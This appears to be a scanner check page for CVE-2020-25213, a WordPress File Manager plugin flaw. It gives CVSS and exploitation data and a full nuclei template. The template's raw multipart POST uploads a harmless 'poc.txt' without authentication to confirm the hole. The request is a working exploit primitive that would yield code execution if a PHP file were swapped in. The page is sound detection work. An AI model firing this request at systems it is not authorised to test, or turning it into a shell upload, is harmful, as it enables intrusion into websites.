WordPress File Manager Plugin - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.

Fix

Update to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability.

How to confirm it

Send: POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
Positive when: contains "poc.txt" and "added" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2020-25213 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-25213

# Uploaded file will be accessible at:-
# http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt
info:
  name: WordPress File Manager Plugin - Remote Code Execution
  author: foulenzer
  severity: critical
  description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2373068
    - https://github.com/w4fz5uck5/wp-file-manager-0day
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25213
    - http://packetstormsecurity.com/files/160003/WordPress-File-Manager-6.8-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/171650/WordPress-File-Manager-6.9-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25213
    cwe-id: CWE-434
    epss-score: 0.97328
    epss-percentile: 0.99897
    cpe: cpe:2.3:a:webdesi9:file_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: webdesi9
    product: file_manager
    framework: wordpress
  tags: cve,cve2020,wordpress,rce,kev,fileupload,intrusive,packetstorm,webdesi9,vkev,vuln

http:
  - raw:
      - |
        POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48

        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="reqid"

        17457a1fe6959
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="cmd"

        upload
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="target"

        l1_Lw
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="mtime[]"

        1576045135
        --------------------------ca81ac1fececda48
        Content-Disposition: form-data; name="upload[]"; filename="poc.txt"
        Content-Type: text/plain

        poc-test
        --------------------------ca81ac1fececda48--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - poc.txt
          - added
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from